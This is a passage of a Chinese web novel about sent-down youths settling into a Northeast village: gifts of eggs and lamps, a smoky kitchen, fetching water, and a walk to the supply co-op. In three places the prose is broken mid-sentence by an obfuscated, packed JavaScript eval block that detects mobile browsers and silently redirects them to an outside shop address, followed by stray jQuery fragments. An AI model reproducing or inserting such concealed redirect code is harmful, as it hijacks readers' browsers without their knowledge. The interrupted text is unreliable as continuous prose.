明杭生其实觉着这点小事没必要往心里去。他一边走一边打,东西没了就弯腰捡。
抵达白桦林他也不见出汗,叶榛看看扶着树歇息的孙解放,又看看还有心思吓唬鸟儿的明杭生,也忍不住问:“你不累啊?”
“这点路?”明杭生摇头。
赵小四凑过来,确定他额头上干干净净:“真人不露相啊。”
视线被挡,明杭生皱眉,面露不快,赵小四吓得后退,拿走孙解放手里的‘大鹅’欲盖弥彰,“我我先回去告诉大家——”
叶榛叫住他:“大鹅放我这儿。”
“为啥?”
孙解放叹气:“我们刚到就弄到‘大鹅’,换成你是小心眼的人,你是嫉妒还是羡慕?”
“我——”心眼不大的赵小四心口不一:“我哪知道。我又不是那么小心眼的人。”好奇地问叶榛,“放你这儿就没人嫉妒?”
叶小姑笑道:“没人敢仔细看。”顿了顿,“榛儿,你这臭德行,就这点好!”
叶榛当没听见,问孙解放:“会做吧?”
孙解放苦笑:“你看我像吗?”
叶榛会,跟她妈学的。叶榛朝她姑说:“她会,叫她教你们。”
叶榛的小姑这辈子去的最远的地方是县里,在多数同学选择考中专早早出来工作的情况下她上高中就是想考出去,看看外面的世界。
刚才等叶榛的时候几个知青跟她说了很多首都的事。叶小姑眼界大开,喜欢跟知青们聊天,便答应下来。
果然跟叶小姑说的一样,老弱妇孺看到叶榛并没有上前一探究竟。除了怕叶榛一气之下直接动手,更多的是整个生产队会开拖拉机的就数叶榛最闲,老爷们忙的顾不上,她们免不了麻烦叶榛。
如果不是不敢把人往狠了得罪,叶榛先前那么不给邻居焦珍珠面子,焦珍珠也不会只抱怨她脾气大。
到家叶榛发现奶奶、小婶和堂弟堂妹不在家,她爸和小叔可能上工还没回来,只有她妈和她爷在家,而俩人嘴严,无须顾虑太多,她直接把俩灰兔子拎出来。
“大鹅”在兔子底下,叶榛把“大鹅”拿出来,最底层的山鸡蛋跃入眼帘,赵小四激动,意识到什么慌忙捂住嘴,跟做贼似的低声问:“在哪儿找的?”
“山鸡窝。”
赵小四噎了一下,说了等于没说!
叶榛把蛋放她妈递来的盆中,不过没拿完,留九个。随后她把“大鹅”放回去,篮子递给孙解放。
“给我们的?”赵小四伸手接走。
孙解放想揍他,没点眼力见儿!孙解放心里微微叹气,面上笑着向叶榛道谢。
叶妈笑着说:“客气啥呀,几个山鸡蛋,又不是啥好东西。”
孙解放很意外,宁古塔的乡亲们都这么慷慨吗。
明杭生用叶榛的弹弓打“大鹅”,叶榛没说分一半,叶小姑没提,叶榛的妈竟然也不怪女儿不会过日子。
不是孙解放寡闻少见,他自小在大杂院长大,邻里关系虽然和睦,但是在不涉及到任何钱财的情况下。他记得早两年两家邻居就因为一把香椿芽吵起来。
亲戚之间也很计较。
来这之前他身边最大方的人是明杭生,五斤粮票没让他还,为了试探明杭生的心性故意借他的钢笔用几天再还给他,明杭生也没嫌被他用过。
初二那年明杭生不知听谁说他生日快到了,然后生日当天他收到的唯一一份礼物是明杭生送的英雄钢笔。
这支笔也是他这辈子收到的最贵重的礼物。孙解放很珍惜,直到现在钢笔还有七成新。
孙解放道:“婶,以后有什么事您尽管吩咐。虽说我们不会种豆插秧,但我们身体好力气大,劈柴挑水都不在话下。”
明杭生点点头。
赵小四见状终于机灵对一次:“对,对,姨,别看我四只眼,像书呆子,其实我一点也不呆。上树掏鸟,下河摸鱼——”
曹芳芳朝他背上一下,不会说话就闭嘴!
赵小四痛的叫出声,反手要给她一下,明杭生一把抓住他扔到孙解放身边,孙解放伸手接住往后倒的赵小四,俩人配合的不说十分默契,简直像心有灵犀。
孙解放瞪一眼赵小四便对叶妈道:“让您见笑了。”
“没事的。”叶妈朝闺女看去,叶榛没有露出不耐烦的表情,她意外的同时也很高兴,“要不要小葱?”指着墙角边郁郁葱葱的小葱。
孙解放看过去,见没有很多,就笑着摇了摇头。
叶妈心说,这孩子挺好,知进退有分寸。叶妈道:“过几天热起来开了花就老了。”
孙解放有点心动,可初来乍到他不好意思:“不用了吧。我们不会做,浪费油。”
最后三个字是重点,也是事实。孙解放在首都都很少吃炒菜,到了农村无依无靠的,孙解放更不敢放肆奢侈。
叶妈听出他的犹豫:“那我给你们盛一碗酱?自家做的。可以沾婆婆丁。”说着话就去厨房盛她中午调好的酱。
孙解放本想说不用,又想到他们人多,一穷二白,能省一点是一点,就把话咽回去,然后又向叶榛和她小姑道一声谢。
坐在正房门边的老叶看过来,大队长说的是这小子?有礼貌,会过日子,不错!
年纪轻轻就这么懂事,应该是个心思多的。他家榛儿没多少心眼,怕是降不住这小子啊。
老叶微微摇头,拿出他卷的烟点着,瞥到孙解放身边的明杭生,这小子不错。可全是上下见不到补丁,脚上穿的好像还是电影里才有的胶底鞋,他家境应该不错。
上嫁吞针!
非良配!
大队长果然不靠谱!
老叶砸吧一口烟,起身过去:“知青点都有啥?”
孙解放怕他,他也不知道为啥怕一个庄稼汉,明明都不怕大队长啊。孙解放不敢叫他等,立刻说:“啥都有。”
果然心眼多不诚实!老叶笑着说:“除了粮食、干菜、油和盐,还有啥呀?”
赵小四:“还有水和柴!”
孙解放瞪他一眼,瞎抖什么机灵!孙解放认认真真回答:“还有一大块野猪肉和中午剩的菜。现在有了野菜和‘大鹅’,还有婶子和叶榛给的山鸡蛋和酱,够我们凑合几天。我们手里有点钱,打算过两天去供销社看看。”
确实是个会过日子的。老叶颇为可惜,“我记得院里很空,门口也有两片地,可以种上菜。”
叶小姑道:“门口种菜,院里种红薯吧。我们家有红薯苗,回头分你们几个,长大了剪掉再种,到秋能收几百斤红薯。”
没种过地的几个知青异口同声:“这么多?”
叶榛:“红薯产量高。”
自从上初中孙解放就没吃饱过,哪怕是红薯。孙解放一时激动的不知道说什么好。叶妈笑着把碗递给他:“又不是什么大事。先回去收拾收拾。”
“对,赶在太阳下山前收拾好。”孙解放道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234324|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
叶妈闻言心中一动,等小姑子和几个知青出去,她跟如梦初醒似的:“榛儿,知青点是不是连个油灯都没有?看看咱家有没有多的,给他们一个先用着。”
老叶看着儿媳妇这样,心说不是挺会做戏吗?怎么一对上你大哥连句话都不会说。
长兄的威严啊。叶妈也想跟闺女一样厉害,不想听她大哥絮叨就叫他滚,可是说不出口。
叶榛:“咱家哪有多余的灯?”
“要不你先问问大队长有没有给他们准备?总不能摸黑起夜吧。”
叶榛想想也是:“那我去问问。”
老叶看着孙女走远:“你咋想的?非要榛儿过去?”
拜叶榛她姨所赐,叶妈一听这话就想到闺女的亲事,“您想多了。这几个知青都是首都来的,不可能在咱们这里呆一辈子,我要有什么想法不是害了榛儿吗。您没看见吗,榛儿回来没有直接回屋,说明不讨厌那几个知青。多跟他们处处,也有点笑模样。”
叶榛留着长发时面无表情就有点不好相处。头发剪短,显得五官立体,再没点笑脸,真冷若冰霜。
老叶不希望孙女一直这样,否则将来怎么嫁人过日子啊。
“是我没想到。”老叶踩灭烟头,回屋找个小油灯,又找个手提马灯,加满油在堂屋等大孙女。
三四分钟过去,叶榛出现在门外。老叶右手端着煤油灯,右手拎着马灯出来:“没有吧?”
叶榛点头:“大队长做事顾头不顾尾。男女俩知青点就一盒火柴!”
“知青点白天收拾的,没想到需要灯吧。”老叶递给她,“咱家暂时用不着,留他们用吧。”
叶妈在院里一边收拾婆婆丁一边问:“有没有磨好的面和脱壳的米?”
“不知道。我问问。没有就叫小姑带他们去大队部。”
大队办公室跟知青点差不多,也是三间正房几间偏房。正房是办公室,偏房放着磨盘和脱壳机,拖拉机平时放院里,下雨下雪天放棚里。
叶榛到知青点就问孙解放要不要磨面舂米。
事事周到的孙解放难得糊涂,不明白她此话何意。叶小姑见状解释:“我们这儿跟城里不一样,自己磨面打米。”顿了顿,想一想,“我去厨房看看。”
到厨房掀开缸,缸里是麦粒和稻谷,不是可以直接做大馍的面粉和蒸着吃的大米。
孙解放随后进来,见状便问叶小姑他们该怎么办。
叶小姑:“我带你去磨面的地方看看吧。”
“谢谢。”孙解放想到缸里的水该没了,“谁打水?谁洗菜?谁烧火?”
赵小四以前学过“吃水不忘挖井人”的故事,对乡下水井很好奇。中午打水没轮到他,他立刻说:“我去!”拿着扁担水桶就跑,恐怕慢一点被人抢了先。
陈菀菀跟叶榛共处一室不自在:“我帮你!”说完就跟出去。
孙解放问:“现在去?”
“走吧。”叶榛的小姑率先出去。
叶榛一看没她什么事,就向众人告辞。
曹芳芳想去送她,一看明杭生抬脚,她气得哼一声,回厨房烧火热饭。
叶榛听到脚步声便回头说:“不用送。”
“没事。”九个知青走了四个,院里还有五个,洗菜热饭哪用得着这么多人。
前世的教养让叶榛不好意思撵对她没有恶意的人,便没话找话:“我带你四处看看,熟悉熟悉我们生产队的环境?”
明杭生本能想拒绝,曹芳芳的大嗓门传入耳中,他眉头微蹙:“谢谢啊。先去哪儿?”
大队部和水井都在西边,知青们中午也是从西边进来,而下午又去了东边山上,叶榛道:“去南边吧。南边都是水田,过几天插秧,正好认认路。”
到叶榛家旁边胡同里,明杭生问:“之前说帮我做个弹弓,条件随你提,你看起来很高兴,是有什么事吧?”
叶榛停下:“这么明显吗?”
明杭生点头:“可以说说看,也许我现在就能办。”
10. 未老先衰
叶榛想请明杭生办的事,说容易也容易,说难也难。
去年停止高考,叶小姑难受一个暑假。
村小开学前,大队长来找叶小姑,请她当老师。
五个年级四个老师,学历最高的是校长,高中毕业。其他几个不是上了几年初中就是小学毕业。小学毕业教一二年级凑合,这几年也积累了一些教学经验,可没道理放着大学苗子不用,让她成天跟庄稼打交道啊。
大队长跟村里刺头和小队长开过会,大家一致同意叶小姑去小学当老师。
叶榛本想找机会暗示她姑,城里乱糟糟的高考得停几年。随着她姑去村小上班,天天干劲十足,叶榛不想给她添堵就没提这事。
不久前跟她姑去供销社买东西,供销社出纳是她姑初中同学,对方中专毕业后分到供销社。听她姑同学问她姑有没有对象,她姑表示不找对象,她得考大学。
这个时候叶榛才知道她姑还惦记这事。回到家叶榛试探道:“看情形今年够呛,明年也悬。”
叶小姑不但没怪叶榛咒她这辈子考不上大学,还斗志昂扬地发誓,甭说三五年,就是七年八年她也等,就不信革命能革一辈子。
可是她姑要坚持十年!就算她能坚持,队里的婶子大娘以及八婆长舌妇也会指指点点——这么大的姑娘不嫁人是想上天吗。
面对流言蜚语她爷奶又得妥协。
叶榛就想找一些大学课本,让她姑边教书边学习。这十年不荒废,就算十年后她儿女一大家子,见天儿忙里忙外,届时想考大学对她来说也轻而易举。
兴许因为她专业知识过硬,没有大学文凭县里的中专学校也会请她当老师。
叶榛跟明杭生不熟,不太好意思麻烦他,就说:“可能有点难。”
“你先说。”
叶榛犹豫片刻,为了张牙舞爪的姑姑一直嚣张下去:“听说首都有很多大学,你父母是不是很容易弄到大学课本?”
明杭生摇头。
叶榛一点也不意外:“抱歉,当我没说。”
“我说什么了吗,你就着急道歉?”明杭生笑着问。
叶榛糊涂了:“不是,你,不然你啥意思啊?”
“你说我父母,可我无父无母啊。”
叶榛张张口,他竟然还笑得出来,“对不起,我,我不知道——”
“不怪你!我也没说。”明杭生见她当真了,赶紧打断,“我是爷爷奶奶养大的。”
叶榛:“也没有兄弟姐妹?那你的条件不应该下乡啊?”
如果留在城里,无论去哪个单位,明杭生都很难避开他亲爹后娘一大家子。明杭生不想看到他们,再说他也符合下乡规定,他爷爷也希望他下乡锻炼两年。等等这些,明杭生不想解释,难得离开那个环境,此刻也不想聊这些。
“我爷奶比较忙,我还未满十八岁,工作入伍都需要找关系,不想麻烦他们。再说了,全班同学都能下乡,为何我不能?”
叶榛:“话虽如此,要是我,可没有这个勇气。不过你的意思,找我要的书比送你入伍容易?”
“当然。”
叶榛有点不信。
明杭生微微点头:“真的。大学课本又不是禁书。正好我晚上需要给首都写信报平安。回头把这事写进去,秋收前肯定能收到。”
叶榛无语又想笑:“怎么不说过年前——”
“哎呦,我天,知青点着火了?”
小孩子兴奋的声音传过来,叶榛下意识回头,不远处烟囱冒着浓浓黑烟,知青点上空云山雾罩。叶榛忍不住摇头:“您的这些同学啊。”
难怪孙解放到了这里跟吃了枪药似的,不是哑火叹气就是扯开嗓子吼。明杭生也想叹气:“去看看。”
叶榛点点头,见他不慌不忙:“你不担心着起来?”
“我有常识。”明杭生见她也不着急,估计跟他想的一样,“这种情况是往锅底下塞了很多柴,越不着越塞,结果哪儿哪儿都是浓烟。第一次帮我爷生炉子就是这样。左邻右舍都以为我家着了。”
叶榛:“对!着了烟囱里不可能浓烟滚滚!”
话音落下,传来小孩子失望的惊呼:“没着啊?”
明杭生看过去,又是中午那个要看热闹的小崽子:“队里的小孩怎么跟大人一样爱看热闹?”
这话说的,谁不爱看热闹啊。叶榛问:“你不爱看?”
“没意思。”明杭生摇了摇头。
叶榛噎了一下,扭头打量他。
明杭生奇怪:“我脸上有什么?”
“我好像明白曹芳芳干嘛总针对你。”叶榛道,“别人兴奋的跟什么似的,你兜头一盆冷水,幸好是她,换成我姑,得和你打起来!”
明杭生乐了。
叶榛不禁问:“笑什么?”
笑热闹没你说话有意思。明杭生不敢说实话,她的性子跟她姑差不多啊。他可不想被枪杆子打的抱头鼠窜。
明杭生发现到知青点门口:“笑他们。”往院里睨了一眼。
叶榛看过去,几个知青脱掉外套跳起来扇浓烟,跟跳大绳似的。叶榛顿时一脑门黑线,“你们——”
咣当一声,叶榛吓了一跳,扭头看去,惊得微微张口——
赵小四双膝跪地,水桶滚到一旁,两桶水洒的遍地都是,陈菀菀张开的双臂僵住,显然想扶一把慢了半拍,然后被赵小四吓到。
明杭生不想管,可也不能任由同学一直这么跪着——给他丢人!明杭生绕过湿漉漉的地捡起水桶。叶榛捡起另一只桶,问:“没事吧?”
赵小四爬起来就抱怨:“桶有问题!这水也有问题!”
明杭生不客气地说:“我看最有问题的是你!”
“你——”赵小四抬头一看是班长都不舍得惹的活阎王,立刻把话咽回去,“你,你能耐你去!”
明杭生:“我有自知之明!”
“你你,我——”赵小四忽然想起什么,转身指着浓烟,“我是着急,没看见着火了?”
此刻陈菀菀也顾不上面对叶榛尴尬抠地:“赵小四就是看到知青点着火——不是,屋里都着了,你俩不进去扑火,反而在这里看热闹?叶榛,是不是明杭生——”
叶榛打断:“你俩还是先进院看看吧。”
俩人相视一眼,难道有什么隐情。
到门口一看只有烟没有火,俩人很是好奇,赵小四都忘了膝盖疼:“咋回事啊?”
叶榛拿起扁担,明杭生伸手,叶榛都递过去。明杭生把两个桶挂扁担两端,挑起来两个桶就晃悠,跟挑探戈似的。叶榛赶忙提醒:“别砸着脚。”
明杭生抓住挂桶的铁钩,桶不再晃悠,他挑着两个空桶慢慢悠悠到院里就找到感觉。明杭生把桶和扁担放下,见厨房里头烟雾缭绕没法进人:“这是放了多少柴。”
曹芳芳不高兴:“你什么意思?”
明杭生没理她,拿起院中草绳上挂的毛巾,把毛巾打湿捂住口鼻,进去把锅底下塞得严严实实的柴拿出来,烟囱的浓烟立刻没了,锅底下的烟不往外溢,转眼间院子里的浓烟就散了许多。
赵小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234325|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四扒着厨房门框往里瞅:“嗳,咋回事?明大少,你会烧火啊?”
明杭生把拿出来的玉米秸秆塞进去三分之一,擦擦被浓烟熏红的眼睛,擦着两根火柴把玉米秸秆点着。
赵小四进去确定真着了,很是稀奇:“明杭生,你家啥情况?这活我都不会,你咋这么熟练?”
“我有常识!”
曹芳芳进来:“你啥意思?”
“这意思都不懂?难怪把锅烧成这样。”明杭生被熏得难受忍不住嘲讽。
曹芳芳张口想反驳却无言以对,因为刚才那些烟是她搞出来的,“不过是碰巧。得意什么!”
明杭生出去长舒一口气就把毛巾递出去。
李卫国伸手接过去。
赵小四跟出来:“所以,其实你会挑水?”
叶榛不由得想笑。
明杭生眼角余光注意点她的表情也有点想笑,不过他忍住了:“会又如何,不会又如何?”
“你会烧火又会挑水,我以后——你就是咱们班老二!”赵小四道,“班长老大!”
明杭生可不想当老大,看看孙解放,才来一天,未老先衰。
赵小四好奇心盛,很想知道他会不会:“其实你不会?”
“激将法对我没用。”明杭生拿起扁担,“我去挑水不是证明我会,而是看你刚才摔得不轻——”
李卫国忙问:“摔着了?”
明杭生:“双——”
“没有!”赵小四打断,推一下明杭生,“快去!缸里就剩一点水,都不够洗手的。”
明杭生回头看他一下,赵小四直觉不好,没等他开口,耳边传来,“双膝跪地!”
“明杭生,你大爷的!”赵小四气得跳脚。
知青们明白过来,顿时哄堂大笑调侃赵小四。赵小四咬牙指着明杭生:“等你回来,老子不叫你好看,你就是咱们班老大!”
叶榛笑着跟上明杭生。
明杭生见状,问:“怕我摔着?”
“怕你不会打水。”
明杭生想想电影里看到的场景:“别说,我还真不会!”
到了水井边,叶榛说明杭生做,三次才把打到水。明杭生把轱辘转上来,叶榛把水桶放过去:“小心点,别洒了。”
“东北还缺水?”明杭生又打半桶。
叶榛:“井边太湿别人没法打水。”
明杭生点点头挑起扁担,叶榛帮忙付一把。
午饭后教知青种菜的社员到家门口正好看到叶榛和明杭生一个挑水一个扶桶,一前一后从西边过来,他下意识停下,见两人有说有笑,不禁皱眉。
他媳妇出来问:“看啥呢?”
社员大哥朝西看。他媳妇仔细瞅瞅:“榛儿和新来的知青?”
“可能是我想多了。”社员大哥见两人近了,推着他媳妇进屋,“这个知青好是好,就是三棍子打不出一个屁,过日子费劲。”
他媳妇好笑:“跟你过日子当然费劲!你又不是榛儿。”
社员大哥不禁啧一声:“我认真的!那个叫孙解放的不错。”
“你当皇帝选妃呢?”他媳妇瞪他一眼,“榛儿的性子老叶大叔都怕了,你少掺和!话又说回来,人家那么有本事,找个啥样的过不好啊。”
社员大哥想想叶榛无所不能:“也是啊。对了,明儿是不是又到上县城的日子?”
他媳妇点头,“你们拾掇地没空,我们又得麻烦榛儿。大队长也是的,三天两头使唤人家也不提工分。都说榛儿性子不好,我看怪好的。”
11. 搞好关系
翌日清晨,叶榛睁开眼听到院里有人聊天,条件反射般坐起来,想起什么犹豫片刻拉起被子蒙上头。
过了十几分钟,叶榛穿戴齐整出来:“奶,刚才谁呀?”
“你焦婶东边的王婶。没听出来?”她奶奶陈氏小花问。
叶榛没听清就缩进被子里:“她来干嘛?”
“问是你开车上县,还是大队长开车去。”陈氏有点担心她,“昨儿跑半天,今天再跑半天会不会着凉?我看还是叫大队长去吧。”
叶榛:“戴帽子没事。她来就为这事啊?”
老叶头一边检查车子一边说:“她儿子相亲约在镇上,希望你绕几里路把她儿子送过去。”确定车链条好好的,老叶头就去洗手,“坐车过去说出去有面儿,还显得她在咱们屯子里人缘好。”
叶小姑从叶榛卧室隔壁屋出来:“真能算计!”
叶榛点头:“要说集体的车我不当家,她又该说一堆有的没的。回头叫大队长去。”看到自行车,“爷,不是周末吗?还去邮局?”
她奶解释:“你王婶来之前住在后面的知青来过,问你能不能陪他们去供销社。你爷说他有空。”
“起这么早啊?”昨天那么多事,叶榛还以为他们会一觉睡到太阳偏西,“我去吧。”
叶妈立刻从厨房出来:“爹,娘,叫榛儿去吧。”
别的不说,叶榛多出去走走对她没坏处。老叶头道:“那我跟大队长说说叫他开车上县。”
叶小婶拽着儿女从房里出来,唠叨俩孩子“先洗脸再出去玩”,接着就说:“大队长又要趁机挤兑你恐怕累着榛儿。”
老叶头瞪眼:“我孙女我不心疼!三天两头使唤榛儿,咱家不提工分,他也不提!哪有这么好的事!”说着话就出去,“我找他去!”
叶榛去洗脸刷牙。
家里有个没比她大几岁的长辈就是好,个人卫生方面不需要叶榛念叨,她爷一周不洗头,她姑得一天三顿唠叨。她奶嫌牙膏味怪难闻不刷牙,她姑来一句没你嘴臭!气得小老太太抄起扫帚要打死她个瘪犊子!
叶榛抹上雪花膏到厨房,她爹把柴塞进去就说:“快烧好了,你别进来了。”
锅盖冒着白烟,杂粮粥的香味飘过来,叶榛的目光从大锅移到炒菜的小锅:“那两只兔子和野猪肉没做?”
叶爸:“晌午做。”
“那我弄点腌菜?”
叶妈拿着一把小葱叶进来,“吃这个。你姑说天天吃腌菜对身体不好。也不知道又听谁白话的。”
叶小姑吐掉口中的牙膏沫:“啥白话?人家首都知青说的!”
“还是城里的日子好,有心思挑三拣四。”叶妈一边洗葱一边说,“看着吧,不出仨月就得说我腌的菜好吃。”
叶榛点头:“肯定的!没啥吃的,又不会做,小葱蘸酱都是人间珍馐。”
她还别说,昨儿忙忙碌碌一天,今早喝着稀汤寡水的大碴子粥,一群知青都觉着是人间美味。包括明杭生!
这几天在车上没沾过荤腥,昨天一只鸡分两顿九个人吃,每人轮到一两块不够塞牙缝的,肚子里没油水容易饿,又加上昨晚没吃饱,甭说粥,一碗温开水下肚心里都是暖的。
赵小四喝完一碗就想盛第二碗,站起来想到不是在自个家:“班长,我能再盛点吗?”
孙解放点头:“锅里还有,你再盛半碗。到供销社把缺的东西补齐回来就分粮。”
“啥?真要我单过啊?”赵小四忙说,“那那,那我不喝了!”
曹芳芳白了他一眼:“班长的意思把堆一起的粮食分开,看看怎么吃能撑到秋收。实在撑不到,咱就——”就什么她也不知道,就转向孙解放。
孙解放:“想办法节省粮食。比如多挖野菜,把院里院外边边角角都种上菜,多上工挣工分。”犹豫几秒,用试探的语气问:“明杭生,你会钓鱼吗?”
赵小四立刻说:“我二哥肯定会!”
“噗!”明杭生口中的粥喷了一地。
孙解放笑骂:“谁是你二哥!别自个往脸上贴金!”
“不信你问我二哥!”赵小四十分狗腿的凑到明杭生跟前,“昨儿我可当着大家的面说了,你会挑水你就是咱们班老二,你不能不认!”
孙解放:“老二就是二哥?”
“那可不咋地。”赵小四横他一眼,又对明杭生道,“二哥,你不舍得看到小弟饿肚子吧?”
明杭生起来,朝他腿上一脚就去厨房。
赵小四痛呼一声,曹芳芳趁机嘲讽:“活该!”
“你懂个锤子!”赵小四不瞎不憨,哪能不知道明杭生家境好。明杭生自己不提,他就当不知道。哪天他一秃噜嘴得罪了明杭生,明杭生要收拾他,他还能用“不知道”蒙混过去。
以前在学校赵小四也没想过跟明杭生搞好关系,不是一路人凑不到一块去。
现在不一样,关乎到生存,他必须跟明杭生搞好关系。
赵小四跑去厨房,看到明杭生掀开锅盖,他拿起勺子帮明杭生盛粥。
明杭生瞥他一眼就出去。
赵小四见好就收,不再贫嘴,端着半碗稀粥跟出去,认真问:“你会不会抓蚯蚓?”
明杭生挑眉。
这意思是叫他有话直说?赵小四直说:“我会。回头我抓蚯蚓你搞鱼线,咱们去社员大哥说的河里试试?”
此言一出,大家都万分期待地看向明杭生,连一向厌恶他的曹芳芳也没趁机冷嘲热讽。
明杭生:“再说吧。”
“那就是答应了?”赵小四忙问。
明杭生面无表情地看着他。
赵小四赶忙说:“回头再说,不急一时!”
话音落下听到脚步声,赵小四扭头,一看是叶榛,张嘴想说,你来干嘛!到嘴边赶紧咽回去,刚才还吃人家给的山鸡蛋,做人不能这么没良心。
赵小四怀疑她来找明杭生,就移到李卫国身边。
叶榛没有靠近,离他们还有两步就停下,问谁跟她去供销社。
孙解放:“你不是有事吗?”
“就是帮队里开车。这本来就不是我的活。”叶榛不想解释太多,“今天不想去!”
孙解放不禁问:“大队长不会生气吧?”
“爱气不气!”刚说完就有几个知青露出意外的神色。叶榛意识到这话有点不拿大队长当干部,“他又不给我算工分。”
孙解放笑道:“那他没法命令你。”紧接着就问:“现在去还是过一会儿?”
叶榛:“收拾好就去我家找我。”
孙解放点点头,送她到门外就去厨房,又喝半碗稀粥就去卧室。
穷家富路,孙家想给孙解放一百块,孙解放考虑到自家实际情况,只要五十。这五十块钱十有八/九要用到年底。他翻出缝在衣服夹层里的零钱,犹豫许久,掏出一块多毛票,剩下的又塞回去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234326|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
孙解放出来,刘建设进去,也是拿钱。虽然没明说,其实都知道大家都带钱了,也不希望被别人看见钱藏在哪儿的。
李卫国最后一个进去。等他出来孙解放已经给野猪肉换了水,陈菀菀也把“大鹅”剁成小块放锅里,女知青尤菁菁留下烧火。李卫国也不去,他把钱和信给孙解放就去打水洗碗。
七人浩浩荡荡到叶家,叶妈就问吃饭了吗。孙解放点头应一声。叶妈就叫叶榛出来。
叶榛见他们空着手,连个装东西的篮子都不带:“去供销社买啥?”
孙解放:“其实牙刷牙膏洋胰子啥的我们都不缺。可总觉着还缺点啥。我们想过去看看,认认路,顺便把给家里的信寄了。”
叶榛不禁朝明杭生看去。明杭生微微点头,一副“你放心吧”的样子。
在孙解放身旁的陈菀菀看到这一幕,心里突然有个想法——
原文中提过明杭生在乡下两年,正是这两年让他和孙解放结下深厚友谊。他自杀后孙解放忙前忙后,如同他异父异母的亲兄弟。
如果明杭生跟叶榛好上,那他不可能两年后回城,是不是意味着明杭生的命运也会发生改变。以前的明杭生是纸片人,现在是活生生的人,是陈菀菀的同学。要让陈菀菀任由他自杀,陈菀菀做不到。
就算叶榛和明杭生在一起之后他还会自杀,叶榛也不亏。看在明杭生的面子上,以后孙解放会无条件帮助她。明杭生家境不错,他的遗产哪怕只是一处四合院,也能让叶家这一大家子从农村到城里。
“他俩这是打什么哑谜呢?”
身后传来一声嘟囔,陈菀菀回头,正是曹芳芳,“说啥呢?”
“没啥。”曹芳芳撇撇嘴。
陈菀菀不信,暗暗提醒自个以后盯紧她,防止她坏事。
“这个留你们装东西。”
陈菀菀转过头,看到叶妈递给孙解放两个布口袋。陈菀菀心说,这家人真好。陈菀菀笑着说:“谢谢婶。”
“谢啥啊。破布缝的,又不是啥好东西。不嫌弃就留你们用吧。”
孙解放:“那多不好意思。”
“没事的。”叶妈不在意地笑笑,“快去吧。到供销社有小十里,来回两个多小时。”
孙解放看向叶榛:“那走吧?”
在墙根地下跟弟弟打闹的叶小月一把抓住叶榛的手。叶榛无奈地问:“桃罐头行吗?”
叶小月立刻挥挥小手:“姐姐快去吧!”
叶榛接过她妈递来的桦皮背篓背到身上就出去。
然而她一个人在前面太打眼,到门外就被人一眼看见。不是别人,是早上来叶榛家的王桂香。
王桂香叫住叶榛就跑过来:“今天不是你开车?”
叶榛仗着她爷跟大队长商量好了,大队长不会没事找事故意告诉王桂香她不想绕路,“大队长去县里有点事,他开车。咋了?”
王桂香的脸色变得有点难看,“哪天没事,非赶在这天有事,我看他就是不想让你绕路!”
“油不便宜,可能吧。”叶榛不待她开口,“婶,我们该走了。”
王桂香看看叶榛的小脸,心中忽然一动:“等等,我叫你哥跟你一块。”
叶榛:“他不是去相亲吗?”
王桂香点头:“你帮忙看看!”
赵小四瞥到陈菀菀和曹芳芳就不由自主地想起昨天的事:“大婶,您就不怕人家看上叶榛啊?”
12.供销社
王桂香只想到女方看到叶榛会认为自己很普通,不好意思对她儿子和她家挑三拣四:“看我这脑子!榛儿,要是看到你哥,可别往前凑啊。”
“我没那么没眼力见儿!”叶榛说完就走。
赵小四笑嘻嘻跟上去问:“你是不是该谢谢我啊?”
叶榛脚步不停:“你说回头我要说她未来儿媳妇看上你,觉着你戴着眼镜斯斯文文,有教养有学问,她——”
“我错了!”赵小四赶紧打断。
后面的六位知青都不由得露出笑意。
赵小四讨了个没趣退到同学身边,安静三分钟出了屯子他又按耐不住,瞅瞅这个看看那个,问:“班长,说点什么吧?”
孙解放看起来做事周到堪称八面玲珑,其实他心里很不踏实。虽然他比叶榛还大一岁,可他是个刚出校园的学生,居家过日子,人情来往等等,他皆一知半解。他能稳住是因为笃定明杭生在这里有关系,他遇到什么难事,明杭生不会不管。
走在陌生的田间小路上,孙解放又有些不踏实,跟做梦一样,这就到下乡了?孙解放没心思胡咧咧。
赵小四家孩子多,父母顾不过来,被放养长大。他在农村跟在家没区别。真要计较起来,在家还不如在这儿,至少这里有同学提醒他吃饭,有班长管他。
赵小四适应良好,见孙解放不理他就凑到明杭生跟前。明杭生上前到叶榛身边。被嫌弃的赵小四也不生气,问陈菀菀:“咱们唱歌吧?”
曹芳芳白了他一眼就想上前,本不想搭理他的陈菀菀立刻说:“好啊!”一把拉住曹芳芳,“怕了?一说唱歌就跑。”
“谁跑了?”曹芳芳受不了一点点刺激,闻言立刻停下,问赵小四:“唱啥?”
